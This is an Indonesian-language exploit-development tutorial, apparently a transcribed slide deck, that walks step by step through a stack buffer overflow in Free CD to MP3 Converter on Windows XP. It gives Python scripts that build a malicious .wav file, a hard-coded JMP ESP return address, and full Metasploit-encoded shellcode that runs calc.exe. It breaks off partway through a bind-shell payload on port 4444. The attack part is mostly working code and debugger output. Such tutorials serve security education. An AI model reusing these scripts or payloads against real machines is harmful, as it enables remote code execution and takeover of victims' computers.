Windows Exploitation Smashing the Stack - hitz#7
Post on 04-Jul-2015
305 Views
Preview:
Transcript
Windows Exploitation – Smashing The StackHitz #7
Pendahuluan
Eksperimen basic stack overflow kali ini kita akan coba pada aplikasi Free CD to MP3 Converter. Exploit
untuk program ini sudah ada di internet, tepatnya di situs ExploitDB (http://www.exploit-
db.com/exploits/15480/).
Proses debugging aplikasi Free CD to MP3 Converter dilakukan pada sistem operasi Windows XP SP3 versi
NIST FDCC (Federal Desktop Core Configuration) dan pembuatan script exploit pada Backtrack Linux 4 R2.
Silakan download filenya.
•Free CD to MP3 Converter (http://www.exploit-db.com/application/15480)
•Immunity Debugger (http:// www.immunityinc.com/products-immdbg.shtml )
•pvefindaddr.py (http://redmine.corelan.be:8800/projects/pvefindaddr)
•Metasploit Framework (http://www.metasploit.com/framework)
Untuk memulai eksperimen, silakan install aplikasi debugger. Ada beberapa aplikasi debugger seperti
WinDbg, Immunity Debugger, atau OllyDbg. Saya akan menggunakan Immunity Debugger untuk percobaan
ini.
S e d i k i t P e n g e t a h u a n t e n t a n g C P U R e g i s t e r
Ketika kita bermain dengan Buffer Overflow, pengetahuan tentang CPU Register wajib diketahui. Sebuah
CPU berbasis Intel x86 menggunakan 8 register sebagai tujuan umum, yaitu: EAX, EDX, ECX, ESI, EDI,
EBP, ESP dan EBX.
Setiap register di desain untuk tujuan tertentu, dan masing-masing melaksanakan fungsinya yang
memungkinkan CPU untuk memproses informasi secara efisien.
R e g i s t e r E A X , digunakan untuk melakukan perhitungan serta menyimpan nilai kembali dari
pemanggilan fungsi (function calls). Operasi dasar seperti menambah, mengurangi, dan membandingkan
dioptimalkan pada penggunaan register EAX. Khusus operasi lainnya seperti perkalian dan pembagian juga
h a n y a d i d a l a m register EAX.
R e g i s t e r E D X adalah Data Register. Pada dasarnya merupakan perpanjangan dari EAX untuk
(membantu) menyimpan data tambahan untuk operasi kompleks. Hal tersebut juga dapat digunakan untuk
general purpose data storage.
This work is licensed under a Creative Commons.
R e g i s t e r E C X , juga disebut register count, digunakan untuk operasi perulangan. Operasi perulangan
bisa menyimpan string atau menghitung angka.
R e g i s t e r E S I d a n E D I diandalkan oleh loop yang mengolah data. Register ESI adalah indeks
sumber (S pada ES I berarti S o u r c e yang berarti s u m b e r ) untuk operasi data dan memegang lokasi
input data stream. Register EDI menunjuk ke lokasi di mana hasil operasi data disimpan, atau indeks tujuan
(D pada ED I berarti D e s t i n a t i o n yang berarti t u j u a n ).
R e g i s t e r E S P adalah s t a c k p o i n t e r , dan Register E B P adalah b a s e p o i n t e r . Register
ini digunakan untuk mengatur pemanggilan fungsi dan operasi stack. Bila fungsi ini dipanggil, fungsi
argumen akan didorong ke dalam stack dan diikuti oleh alamat pengirim (return address). ESP menunjuk
pada bagian paling atas dari stack, sehingga akan menunjuk ke alamat pengirim (return address).
Sedangkan EBP digunakan untuk menunjuk ke panggilan stack di bawah.
R e g i s t e r E B X adalah satu-satunya register yang tidak dirancang untuk sesuatu yang khusus. Tapi
dipakai untuk penyimpanan ekstra.
R e g i s t e r E I P adalah register yang menunjuk ke instruksi yang saat ini sedang dijalankan. Ketika CPU
bergerak dalam biner, alamat EIP selalu diperbarui untuk menentukan lokasi dimana eksekusi ini terjadi.
Ok, pengetahuan tentang register CPU ini akan sangat membantu dalam pembuatan exploit :) Tahap
berikutnya adalah melakukan verifikasi terhadap kutu (bug) yang ada pada aplikasi Free CD to MP3
Converter.
V e r i f i k a s i B u g
Aplikasi Free CD to MP3 Converter akan crash ketika membuka file berekstensi .wav yang berisi karakter
"A" sebanyak 5000 karakter. Lho? Tau darimana? Baiklah, karena memang saya melompati bagian tersebut,
tapi tidak ada salahnya dibahas sedikit :)
Sebelumnya pembuat exploit Free CD to MP3 Converter pasti melakukan yang namanya Fuzzing. Fuzzing
dilakukan untuk melakukan test terhadap sebuah program dan mencari anomali fungsi, kemampuan
program dalam mengatasi error, atau input yang berlebihan, penggunaan yang tidak wajar dan lainnya dari
program tersebut. Nah untuk proses kali ini dinamakan File Format Fuzzing, karena pembuat exploit Free
CD to MP3 Converter menemukan bahwa jika file berekstensi wav diisi dengan karakter A sebanyak 5000
karakter maka aplikasi tidak bisa mengatasi file tersebut dan segera berakhir dengan crash.
Ok, setelah mengetahui tentang fuzzing, mari kita coba buat file crash.wav tersebut dengan script python.
#!/usr/bin/python
filename = “crash.wav”
junk="A" * 5000
file=open(filename,'w')
This work is licensed under a Creative Commons.
file.write(junk)print "[+] File”,filename,created successfully.."file.close()
Simpan script diatas dengan nama crash.py (atau apa pun namanya) lalu jalankan script python diatas:
Untuk sistem operasi Linux: /usr/bin/python crash.py
Untuk sistem operasi Windows: C:\Python25\python.exe crash.py
Maka file crash.wav akan terbentuk dan berisi 5000 karakter "A". Bukalah dengan aplikasi Free CD to MP3
Converter, lalu pilih WAV to MP3 (atau WAV to OGG), pilih file crash.wav, maka aplikasi tersebut akan crash
(tertutup secara kasar :D). Kadang keadaan crash seperti ini bisa membawa kita ke buffer overflow, kadang
juga tidak. Tapi untuk kali ini, karena ini adalah percobaan dari kasus yang sebenarnya, maka buffer
overflow pasti terjadi.
Nah agar buffer overflow bisa kita kontrol, kita harus menguasai alur eksekusi dari aplikasi. Caranya adalah
dengan menguasai Instruction Pointer (atau Program Counter, dikenal dengan nama EIP), yang merupakan
bagian dari CPU registers. Instruction Pointer akan berisi perintah yang diekseskusi saat ini dan yang akan
dieksekusi selanjutnya.
Misalkan sebuah aplikasi memanggil fungsi dengan parameter tertentu. Sebelum pergi ke fungsi tersebut, ia
akan menyimpan lokasi saat ini di Instruction Pointer (jadi dia tahu kapan kembali ketika fungsi selesai). Jika
kita dapat memodifikasi nilai dalam pointer ini, dan mengarahkan ke sebuah lokasi di memori yang berisi
sepotong kode milik kita sendiri, maka kita dapat mengubah aliran aplikasi dan membuatnya mengeksekusi
sesuatu (misalnyaperintah pada OS) selain kembali ke alamat asal.
Kode yang kita jalankan setelah berhasil mengendalikan alur ini sering disebut sebagai "shellcode". Jadi jika
kita membuat aplikasi menjalankan shellcode kita, kita dapat menyebutnya sebagai exploit. Dengan kata
lain, pointer ini disebut sebagai EIP. Ukuran register ini adalah 4 bytes (32 bits). Jadi, jika kita dapat
memodifikasi 4 bytes tersebut, kita menguasai aplikasi (dan komputer yang menjalankannya :D).
Ok kembali ke topik, tadi kita sudah membuat aplikasi Free CD to MP3 Converter crash secara kasar, tapi
kita tidak tahu apa yang sebenarnya terjadi. Untuk itulah kita akan menggunakan debugger, silakan jalankan
Immunity Debugger dan aplikasi Free CD to MP3 Converter, lalu attach proses aplikasi Free CD to MP3
Converter tersebut.
This work is licensed under a Creative Commons.
Setelah di attach prosesnya, pilihlah tombol "Play" (atau tekan F9) untuk menjalankannya. Pada tahap ini,
aplikasi siap di debug. Load lagi file crash.wav sekarang perhatikan pada debugger.
This work is licensed under a Creative Commons.
Nah, access violation terjadi. Bisa kita lihat, ruang stack (ESP) penuh dengan 41414141 (41 dalam hex
berarti karakter A). Register EIP (masih ingat?) juga tertimpa dengan karakter A.
Apa artinya ini? Yup, artinya kita bisa mengambil alih aplikasi dan sistem operasi yang menjalankan aplikasi
ini :D kejadian ini juga bisa dibilang buffer overflow atau stack overflow.
Catatan penting, bahwa pada sistem Intel x86, sebuah alamat akan ditulis dalam format little-endian (dibaca
terbalik). Jadi ketika terlihat diatas sebagai 41414141 berarti tetap dibaca sebagai AAAA, namun apabila EIP
tertimpa dengan karakter ABCD (41424344) berarti menjadi 44434241 (DCBA).
Karena file crash.wav hanya terdiri dari karakter A, kita tidak tahu ukuran byte yang tepat untuk menimpa
EIP. Dengan mengetahui ukuran yang tepat, kita bisa memberikan instruksi selanjutnya (secara tepat)
kepada aplikasi dan mengarahkan ke shellcode yang kita sediakan. Ukuran buffer yang tepat ini biasa
disebut dengan "offset".
M e n c a r i u k u r a n b u f f e r y a n g t e p a t u n t u k m e n i m p a E I P
Untuk mencari ukuran buffer yang tepat, biasanya bisa dengan membelah ukuran 'sampah' yang kita
siapkan. Tadi kita mengirim 5000 karakter A, kita bisa mulai membelahnya menjadi 2500 A dan 2500 B.
Apabila EIP dan Stack tertimpa dengan karakter B, berarti EIP ada disekitar buffer 2500 - 5000. Kita bisa
pecah lagi dengan 2500 karakter A, 1250 karakter B dan 1250 karakter C, jika EIP dan Stack tertimpa
dengan karakter C berarti kita tahu EIP ada di sekitar buffer 3750-5000. Begitu seterusnya sampai kita
This work is licensed under a Creative Commons.
menemukan berapa bytes yang diperlukan untuk menimpa 4 bytes EIP.
Cara paling gampang adalah dengan tool canggih bawaan Metasploit. Ada 2 buah tool, yang pertama
pattern_create.rb dan kedua pattern_offset.rb.
Script pattern_create.rb akan melakukan generate karakter acak sebanyak yang kita inginkan. Setelah itu,
pattern_offset.rb akan menyelesaikan tugas cari-mencari ini dengan sukses. Perhatikan baik-baik.
root@infidel:/opt/metasploit3/msf3/tools# ./pattern_create.rbUsage: pattern_create.rb length [set a] [set b] [set c]root@infidel:/opt/metasploit3/msf3/tools# ./pattern_create.rb 5000
Silakan edit script python dan isikan hasil generate dari pattern_create.rb ke junk.
#!/usr/bin/python
filename = “crash-random.wav”
junk="paste hasil dari pattern_create.rb disini"file=open(filename,'w')file.write(junk)print "[+] File”,filename,”created successfully.."file.close()
Load kembali file crash.wav dan perhatikan dengan debugger.
EIP sekarang tertimpa dengan 31684630 (jika di convert ke ASCII menjadi 1hF0), kita bisa menggunakan
pattern_offset.rb untuk mencari jumlah buffer yang tepat.
root@infidel:/opt/metasploit3/msf3/tools# ./pattern_offset.rb 316846304112root@infidel:/opt/metasploit3/msf3/tools#
This work is licensed under a Creative Commons.
Ok EIP tertimpa dengan karakter 1hF0 atau 0x31684630 setelah bytes ke 4112. Kita perlu juga mencari
tahu, stack pointer (ESP) tertimpa setelah bytes ke berapa. Pada awal dari ESP terdapat karakter Fh2F
(atau dalam hex 0x46683246), dengan menggunakan pattern_offset.rb, kita bisa tahu setelah bytes
keberapa ESP tertimpa dengan random karakter Metasploit.
root@infidel:/opt/metasploit3/msf3/tools# ./pattern_offset.rb Fh2F4116root@infidel:/opt/metasploit3/msf3/tools#
Ok, beda 4 bytes dari EIP. Saya persingkat kesimpulannya menjadi sebagai berikut.
EIP akan tertimpa setelah bytes ke 4112 (4 bytes berikutnya berarti isi dari EIP). Jadi ketika kita memberikan
4112 karakter A ditambah dengan 4 karakter B (42 42 42 42 dalam hex) maka EIP akan berisi 42 42 42 42.
Kita juga tahu bahwa ESP berada pada EIP+4 bytes dan mengarah pada data dalam buffer, jadi kita akan
menambahkan karakter C setelah menimpa EIP (agar mengisi ESP).
Kita coba dengan mengedit script python untuk file eipcrash.wav
#!/usr/bin/python
filename = “eip-crash.wav”
junk = "\x41" * 4112 # jumlah sampah yang dikirimeip = "\x42" * 4 # 4 bytes untuk menimpa EIPespdata = "\x43" * (5000 - len(junk+eip)) # sisa bytes untuk menimpa stack
file=open(filename,'w')file.write(junk+eip+espdata)print "[+] File”,filename,”created successfully.."file.close()
Script diatas akan membentuk file eipcrash.wav, attachlah dengan debugger dan bukalah kembali dengan
Free CD to MP3 Converter.
This work is licensed under a Creative Commons.
Sesuai dengan yang kita inginkan, EIP tertimpa dengan 0x42424242 (karakter B dalam hex). Apakah ESP
juga sesuai, berisi karakter C(0x43434343)? Bisa dilihat bahwa di ESP telah terjadi penambahan karakter C
dimulai dari address 0x0012FAB0 Kita bisa Follow in Dump untuk melihat lebih jelas (Klik kanan pada ESP --
> Follow in Dump).
Mantap. ESP sekarang juga mengarah pada buffer yang berisi karakter C (0x43434343).
Perlu diingat juga, saya melakukan tahap ini di VMware Player dengan Windows XP SP3 versi NIST FDCC,
bisa jadi di tempat teman-teman hasilnya berbeda dengan saya. Jadi verifikasi ulang sesuai dengan yang
ada di tempat teman-teman.
Buffer exploit kita jadi seperti ini:
Buffer EBX EIP ESP
A (x 4112) AAAA BBBB CCCCCCCCCCCCC
This work is licensed under a Creative Commons.
4141414141...41 4141414141...41 42424242 434343434343...43
4112 bytes > 1000 bytes? 4 bytes > 1000 bytes?
M e n e n t u k a n j u m l a h m e m o r y u n t u k s h e l l c o d e
Kita berhasil menguasai EIP, berarti kita bisa mengalihkan alur aplikasi ke shellcode yang kita sediakan.
Tapi seberapa luas “lahan” yang dibutuhkan untuk “mendaratkan” sebuah shellcode? Apabila hanya sekedar
memunculkan aplikasi Calculator (calc.exe) biasanya dibutuhkan sekitar 300-400 bytes, tapi untuk sebuah
Bind Shell, biasanya sekitar 500-700 bytes, begitu pula dengan Reverse Shell.
Nah, seberapa luaskah “lahan” yang ada pada memory? Kalau kita perhatikan tadi, ESP dimulai pada
alamat 0x0012FAB0, dimanakah berakhirnya? Setelah ditelusuri (turun aja terus kebawah), ternyata karakter
C berakhir pada alamat 0x0012FE20. Sebesar itulah memory yang bisa kita timpa dengan karakter C, berarti
FE20 - FAB0 = 379 = 880 bytes. Jumlah yang cukup untuk "mendaratkan" shellcode :)
M e n c a r i R e t u r n A d d r e s s
Kita telah menemukan jumlah yang cukup, dan ESP sebagai tempat untuk “mendaratkan” shellcode.
Bagaimana cara menemukan return address?
Kita akan menggunakan instruksi JMP atau CALL ke ESP (jmp esp atau call esp). Alamat ini bersifat statik.
Melakukan “loncatan” (jump) ke ESP adalah hal yang umum pada aplikasi Windows. Apalagi aplikasi di
Windows memiliki beberapa DLL, dan karena menjadi hal yang umum, instruksi ini akan dengan mudah
ditemukan pada DLL aplikasi tersebut. Jadi cara kerjanya, kita akan menimpa alamat EIP dengan alamat
CALL/JMP esp, dengan begitu ketika EIP tertimpa, maka dia akan membaca instruksi CALL/JMP ESP dan
membawa kita ke ESP.
Pada crash kali ini, stack pointer (buffer) penuh dengan “sampah”, artinya kita bisa menaruh shellcode
disana. Dan agar shellcode kita tereksekusi, berarti kita harus melakukan “loncatan” agar instruksi
selanjutnya adalah membaca shellcode kita (JMP ESP).
Ok, sekarang bagaimana kita mencari opcode dari "call/jmp esp" ini? Ada beberapa cara, kita bisa
mencarinya dengan Ctrl-F pada debugger, atau menggunakan tool seperti findjmp, memjump, dan
pvefindaddr (tool buatan Peter Van Eeckhoutte dari CorelanCoder)
Tahap ini saya akan mencoba dengan dua cara, yang pertama secara manual dan yang kedua
menggunakan tool.
Yang pertama, seperti saya tuliskan tadi bahwa ada banyak instruksi JMP ESP karena memang menjadi
This work is licensed under a Creative Commons.
sesuatu yang umum. Instruksi ini biasanya ada di DLL atau di program itu sendiri (executable). Cara
mencarinya, pilihlah opsi Executable Modules (ditandai dengan huruf 'e' di toolbar) pada Immunity
Debugger.
Lalu tekan Ctrl-F untuk mencari instruksi JMP ESP.
Ingat, alamat ini mungkin berbeda pada PC teman-teman, bisa karena Service Pack atau Language dari
Sistem Operasi.
Seperti dilihat pada gambar, alamatnya adalah
7CC86237 FFE4 JMP ESP
Saya juga menggunakan tool buatan Peter Van Eeckhoutte, pvefindaddr.py. Cara menginstallnya tinggal
taruh file pvefindaddr.py di folder PyCommands (C:\Program Files\Immunity Inc\Immunity
Debugger\PyCommands), lalu pada kolom command bisa diketik !pvefindaddr, hasilnya akan keluar pada
This work is licensed under a Creative Commons.
window Log (Alt+L).
Untuk mencari call/jmp esp, bisa menggunakan perintah
!pvefindaddr j -reg esp -n <yup, yang di depan itu tanda seru (!)>
j = mencari instruksi jump
-reg = register yang akan dicari (dalam hal ini esp)
-n = menghindari pencarian yang bernilai null byte.
Tool ini akan membuat list file yang berisi instruksi CALL/JMP ESP pada direktori C:\Program Files\Immunity
Inc\Immunity Debugger\, nama filenya j . t x t . Saya mengambil satu instruksi JMP ESP pada module
shell32.dll.
7CC86237 FFE4 JMP ESP
Ok, sekarang kita edit lagi script kita dan tambahkan instruksi JMP ESP:
#!/usr/bin/python
filename = “eip-skeleton.wav”
junk = "\x41" * 4112 # jumlah sampah yang dikirimeip = "\x37\x62\xC8\x7C” # 7CC86237 FFE4 JMP ESP
This work is licensed under a Creative Commons.
breakp = “\xcc” * 16 # Break instructionespdata = "\x43" * (5000 - len(junk+eip)) # sisa bytes untuk menimpa stack
file=open(filename,'w')file.write(junk+eip+espdata)print "[+] File”,filename,”created successfully.."file.close()
Saya menambahkan “break instruction” (\xcc) pada script diatas yang berfungsi sebagai “pause” agar kita
bisa menganalisa proses debugging.
Jalankan script diatas, maka akan menghasilkan file eip-skeleton.wav. Jalankan debugger dan load lagi
(attach) program Free CD to MP3 Converter. Kali kita akan melakukan breakpoint terhadap posisi opcode
JMP ESP agar kita mengetahui dengan pasti bahwa EIP tertimpa dengan opcode JMP ESP dari shell32.dll.
Untuk melakukan breakpoint, kita lakukan lagi pencarian seperti mencari intruksi JMP ESP diatas.
Tekan F2 pada alamat tersebut.
Ok, sekarang kita akan load file eip-skeleton.wav dan kita akan memastikan beberapa hal:
1.Apakah Breakpoint kita “tepat sasaran”?
2.Apakah EIP tertimpa dengan alamat instruksi JMP ESP dari shell32.dll
3.Apakah perintah selanjutnya yang dieksekusi oleh EIP?
4.Apakah instruksi JMP ESP bekerja dengan baik?
Ok, pertanyaan pertama terjawab. Bisa kita lihat pada bagian bawah,
B r e a k p o i n t a t s h e l l 3 2 . 7 C C 8 6 2 3 7
This work is licensed under a Creative Commons.
Pertanyaan kedua juga terjawab, EIP tertimpa dengan alamat JMP ESP dari shell32.dll yaitu
shell32.7CC86237.
Karena terjadi breakpoint maka debugger melakukan Paused, terhadap situasi ini. Untuk melanjutkannya
bisa menekan F7 dan memastikan apakah pertanyaan ketiga bisa terjawab.
Setelah melakukan F7, ternyata proses eksekusi beralih ke alamat 0x0012FAB2 yaitu tempat dimana “break
instruction” kita berada. Dan apabila kita terus menekan F7, sampailah kita pada espdata yang berisi
karakter “C” (\x43). Apabila kita mengganti karakter “C” (\x43) dengan shellcode, maka shellcode akan
This work is licensed under a Creative Commons.
tereksekusi dengan baik.
K e n a l k a n , s a y a S h e l l c o d e !
Istilah ini akan sering didengar kalau kita mainan exploit. Saya kutip sedikit dari Wikipedia:
“In computer security, a shellcode is a small piece of code used as the payload in the exploitation
of a software vulnerability. It is called "shellcode" because it typically starts a command shell from
which the attacker can control the compromised machine. Shellcode is commonly written in
machine code, but any piece of code that performs a similar task can be called shellcode.”
Jika saya jelaskan berdasarkan apa yang saya garis bawahi, maka jadinya begini:
Shellcode adalah sebuah kode-kode kecil yang dipakai sebagai payload, biasanya akan menghasilkan sebuah
command prompt/shell dan ditulis dengan bahasa mesin (assembly).
Jadi shellcode ini tidak lain hanyalah sebuah kode, sebuah kode yang memanggil program lain dalam sistem
operasi.
Jadi bisa dong klo kita manggil program Internet Explorer? Atau Notepad?
Bisa, tapi apa keuntungan kita memanggil Notepad.exe dalam proses eksploitasi? Tidak ada khan? Maka
dari itu, biasanya yang dipanggil adalah cmd.exe (Command Prompt) dan memaksa cmd.exe di akses dari
jauh. Biasanya proses ini disebut dengan spawning shell. Spawning shell ini bisa terjadi dalam 2 mode
koneksi, mode reverse dan mode bind.
B i n d S h e l l
Bind shell adalah sebuah mode spawning shell yaitu mengeksekusi cmd.exe dan mengirimkan stdout
(standard output) dari cmd.exe milik target ke shell kita. Ketika proses eksploitasi sudah terjadi, shellcode
membuka sebuah port (yang ditentukan oleh attacker) dan memanggil cmd.exe. Jadi kta tinggal melakukan
koneksi ke port yang sudah terbuka di komputer milik target. Metode ini memiliki kekurangan apabila pada
sistem target terdapat Firewall yang membatasi port-port tertentu.
Dalam bentuk poin, bind shell bisa dijelaskan sebagai berikut:
•Membuka port di mesin target
•Attacker yang melakukan koneksi ke komputer target.
R e v e r s e S h e l l
Reverse shell adalah sebuah mode spawning shell atau istilah lainnya, mengeksekusi cmd.exe dan
mengirimkan stdout (standard output) dari cmd.exe ke terminal shell. Jadi kita tinggal menunggu koneksi dari
port yang sudah ia buka. Nah metode ini biasanya dipakai untuk bypass Firewall (tentunya dalam hal ini,
This work is licensed under a Creative Commons.
akses keluar dari jaringan internal diperbolehkan).
Dalam bentuk poin, reverse shell bisa dijelaskan sebagai berikut:
•Membuka port di mesin attacker
•Komputer target akan melakukan koneksi ke komputer attacker.
Seperti yang dikatakan sebelumnya, shellcode tidak hanya bisa memanggil cmd.exe, tapi juga bisa
memberikan perintah baru ke sistem operasi. Misalkan, shellcode untuk menambahkan user, shellcode
untuk melakukan download, shellcode untuk mematikan komputer, dan lainnya.
T e s t S h e l l c o d e M e n j a l a n k a n C a l c u l a t o r
Sebagai percobaan, kita akan coba membuat program Free CD to MP3 Converter mengeluarkan program
Calculator setelah eksploitasi. Kali ini kita akan pakai shellcode yang di generate menggunakan program
Metasploit.
Silakan perhatikan perintah dibawah ini.
root@infidel:~# msfpayload windows/exec CMD=calc R | msfencode -t c [*] x86/shikata_ga_nai succeeded with size 223 (iteration=1)
unsigned char buf[] = "\xb8\x3d\x91\xf5\x5f\xda\xc6\xd9\x74\x24\xf4\x5a\x31\xc9\xb1" "\x32\x83\xea\xfc\x31\x42\x0e\x03\x7f\x9f\x17\xaa\x83\x77\x5e" "\x55\x7b\x88\x01\xdf\x9e\xb9\x13\xbb\xeb\xe8\xa3\xcf\xb9\x00" "\x4f\x9d\x29\x92\x3d\x0a\x5e\x13\x8b\x6c\x51\xa4\x3d\xb1\x3d" "\x66\x5f\x4d\x3f\xbb\xbf\x6c\xf0\xce\xbe\xa9\xec\x21\x92\x62" "\x7b\x93\x03\x06\x39\x28\x25\xc8\x36\x10\x5d\x6d\x88\xe5\xd7" "\x6c\xd8\x56\x63\x26\xc0\xdd\x2b\x97\xf1\x32\x28\xeb\xb8\x3f" "\x9b\x9f\x3b\x96\xd5\x60\x0a\xd6\xba\x5e\xa3\xdb\xc3\xa7\x03" "\x04\xb6\xd3\x70\xb9\xc1\x27\x0b\x65\x47\xba\xab\xee\xff\x1e" "\x4a\x22\x99\xd5\x40\x8f\xed\xb2\x44\x0e\x21\xc9\x70\x9b\xc4" "\x1e\xf1\xdf\xe2\xba\x5a\xbb\x8b\x9b\x06\x6a\xb3\xfc\xee\xd3" "\x11\x76\x1c\x07\x23\xd5\x4a\xd6\xa1\x63\x33\xd8\xb9\x6b\x13" "\xb1\x88\xe0\xfc\xc6\x14\x23\xb9\x39\x5f\x6e\xeb\xd1\x06\xfa" "\xae\xbf\xb8\xd0\xec\xb9\x3a\xd1\x8c\x3d\x22\x90\x89\x7a\xe4" "\x48\xe3\x13\x81\x6e\x50\x13\x80\x0c\x37\x87\x48\xd3"; root@infidel:~#
Saya jelaskan sedikit mengenai perintah-perintah diatas.
msfpayload --> modul bawaan Metasploit untuk menghasilkan payload.
windows/exec --> payload yang dipilih yaitu exec
CMD=calc --> karena memilih exec, maka kita akan mengeksekusi calc (Calculator).
R --> menghasilkan output [R]aw, jalankan msfpayload -h untuk lebih jelas
| --> pemisah antar perintah
msfencode --> modul bawaan Metasploit untuk melakukan encoding terhadap shellcode
This work is licensed under a Creative Commons.
-t --> tipe dari output yang akan dihasilkan msfencode
c --> output berupa hexa dalam C.
Shellcode diatas akan mengeksekusi calc.exe sehingga setelah terjadi proses buffer overflow, aliran
eksekusi (EIP) yang sudah kita kuasai akan membawa kita ke register ESP (Ingat, EIP sudah kita isi dengan
perintah JMP ESP) dan di register ESP sudah menunggu shellcode calc.exe.
Mari kita modifikasi script python exploitnya.
#!/usr/bin/python
filename = "skeleton-calc.wav"
junk = "\x41" * 4112 # jumlah sampah yang dikirimeip = "\x37\x62\xC8\x7C" # 7CC86237 FFE4 JMP ESPnops = "\x90" * 16 # NOP
# metasploit payload shellcode# msfpayload windows/exec CMD=calc R | msfencode -t cshellcode = ("\xb8\x3d\x91\xf5\x5f\xda\xc6\xd9\x74\x24\xf4\x5a\x31\xc9\xb1" "\x32\x83\xea\xfc\x31\x42\x0e\x03\x7f\x9f\x17\xaa\x83\x77\x5e" "\x55\x7b\x88\x01\xdf\x9e\xb9\x13\xbb\xeb\xe8\xa3\xcf\xb9\x00" "\x4f\x9d\x29\x92\x3d\x0a\x5e\x13\x8b\x6c\x51\xa4\x3d\xb1\x3d" "\x66\x5f\x4d\x3f\xbb\xbf\x6c\xf0\xce\xbe\xa9\xec\x21\x92\x62" "\x7b\x93\x03\x06\x39\x28\x25\xc8\x36\x10\x5d\x6d\x88\xe5\xd7" "\x6c\xd8\x56\x63\x26\xc0\xdd\x2b\x97\xf1\x32\x28\xeb\xb8\x3f" "\x9b\x9f\x3b\x96\xd5\x60\x0a\xd6\xba\x5e\xa3\xdb\xc3\xa7\x03" "\x04\xb6\xd3\x70\xb9\xc1\x27\x0b\x65\x47\xba\xab\xee\xff\x1e" "\x4a\x22\x99\xd5\x40\x8f\xed\xb2\x44\x0e\x21\xc9\x70\x9b\xc4" "\x1e\xf1\xdf\xe2\xba\x5a\xbb\x8b\x9b\x06\x6a\xb3\xfc\xee\xd3" "\x11\x76\x1c\x07\x23\xd5\x4a\xd6\xa1\x63\x33\xd8\xb9\x6b\x13" "\xb1\x88\xe0\xfc\xc6\x14\x23\xb9\x39\x5f\x6e\xeb\xd1\x06\xfa" "\xae\xbf\xb8\xd0\xec\xb9\x3a\xd1\x8c\x3d\x22\x90\x89\x7a\xe4" "\x48\xe3\x13\x81\x6e\x50\x13\x80\x0c\x37\x87\x48\xd3")espdata = "\x90" * (5000 - len(junk+eip+nops+shellcode)) # sisa bytes file=open(filename,'w')file.write(junk+eip+nops+shellcode+espdata)print "[+] File",filename,"created successfully.."file.close()
Kalau diperhatikan, saya menambahkan “\x90” disana, ya itu adalah sebuah NOP atau No Operation. Dalam
pembuatan exploit, NOP sangat sering dipakai apabila kita tidak tahu pasti jika sebuah shellcode “mendarat”
pada byte yang tepat, sehingga NOP sering dipakai sebagai “landasan” untuk memastikan bahwa byte
selanjutnya yang dieksekusi adalah shellcode.
Jalankan lagi script diatas, maka akan menghasilkan file skeleton-calc.wav. Untuk memastikan bahwa
exploit kita berjalan dengan baik, ada baiknya menjalankan exploit tetap menggunakan debugger.
Attach lagi proses cdextract.exe, pasang Breakpoint pada alamat 7CC86237 dan perhatikan eksekusi
This work is licensed under a Creative Commons.
shellcode.
Kita berhasil mendarat pada alamat JMP ESP yaitu 7CC86237. Selanjutnya apakah perintah JMP ESP
membawa kita kepada 16 NOP? Tekan F7 untuk melanjutkan eksekusi (Follow).
Sesuai! Kita mendarat pada 16 NOP dan setelah ke-16 NOP tersebut tereksekusi, maka kita tiba di
shellcode. Tekan terus F7 sampai perintah looping terjadi. Perintah ini terus berulang (looping) karena
encoder, ingat tadi kita menjalankan msfencode untuk meng-encode shellcode tersebut, proses looping ini
menandakan bahwa shellcode sedang di-decode.
Perhatikan perintah CLD, berikan Breakpoint disitu karena perintah tersebut adalah awal dari shellcode yang
kita buat.
This work is licensed under a Creative Commons.
Setelah proses decoding selesai, selanjutnya tekan F9 untuk melanjutkan eksekusi. Seharusnya program
calculator akan muncul menggantikan program Free CD to MP3 Converter.
Owned!
Program calculator berhasil tereksekusi.
This work is licensed under a Creative Commons.
S h e l l c o d e B i n d S h e l l
Setelah berhasil dengan program calculator, kita akan coba untuk membuka port di komputer korban dan
melakukan koneksi lewat port tersebut. Payload ini biasa disebut dengan bind shell.
Jalankan perintah berikut pada metasploit msfpayload.
root@infidel:~# msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -t c[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)
unsigned char buf[] ="\xba\xb4\x91\x56\x34\xd9\xea\xd9\x74\x24\xf4\x5d\x31\xc9\xb1""\x56\x83\xed\xfc\x31\x55\x0f\x03\x55\xbb\x73\xa3\xc8\x2b\xfa""\x4c\x31\xab\x9d\xc5\xd4\x9a\x8f\xb2\x9d\x8e\x1f\xb0\xf0\x22""\xeb\x94\xe0\xb1\x99\x30\x06\x72\x17\x67\x29\x83\x99\xa7\xe5""\x47\xbb\x5b\xf4\x9b\x1b\x65\x37\xee\x5a\xa2\x2a\x00\x0e\x7b""\x20\xb2\xbf\x08\x74\x0e\xc1\xde\xf2\x2e\xb9\x5b\xc4\xda\x73""\x65\x15\x72\x0f\x2d\x8d\xf9\x57\x8e\xac\x2e\x84\xf2\xe7\x5b""\x7f\x80\xf9\x8d\xb1\x69\xc8\xf1\x1e\x54\xe4\xfc\x5f\x90\xc3""\x1e\x2a\xea\x37\xa3\x2d\x29\x45\x7f\xbb\xac\xed\xf4\x1b\x15""\x0f\xd9\xfa\xde\x03\x96\x89\xb9\x07\x29\x5d\xb2\x3c\xa2\x60""\x15\xb5\xf0\x46\xb1\x9d\xa3\xe7\xe0\x7b\x02\x17\xf2\x24\xfb""\xbd\x78\xc6\xe8\xc4\x22\x8f\xdd\xfa\xdc\x4f\x49\x8c\xaf\x7d""\xd6\x26\x38\xce\x9f\xe0\xbf\x31\x8a\x55\x2f\xcc\x34\xa6\x79""\x0b\x60\xf6\x11\xba\x08\x9d\xe1\x43\xdd\x32\xb2\xeb\x8d\xf2""\x62\x4c\x7d\x9b\x68\x43\xa2\xbb\x92\x89\xd5\xfb\x5c\xe9\xb6""\x6b\x9d\x0d\x29\x30\x28\xeb\x23\xd8\x7c\xa3\xdb\x1a\x5b\x7c""\x7c\x64\x89\xd0\xd5\xf2\x85\x3e\xe1\xfd\x15\x15\x42\x51\xbd""\xfe\x10\xb9\x7a\x1e\x27\x94\x2a\x69\x10\x7f\xa0\x07\xd3\xe1""\xb5\x0d\x83\x82\x24\xca\x53\xcc\x54\x45\x04\x99\xab\x9c\xc0""\x37\x95\x36\xf6\xc5\x43\x70\xb2\x11\xb0\x7f\x3b\xd7\x8c\x5b""\x2b\x21\x0c\xe0\x1f\xfd\x5b\xbe\xc9\xbb\x35\x70\xa3\x15\xe9""\xda\x23\xe3\xc1\xdc\x35\xec\x0f\xab\xd9\x5d\xe6\xea\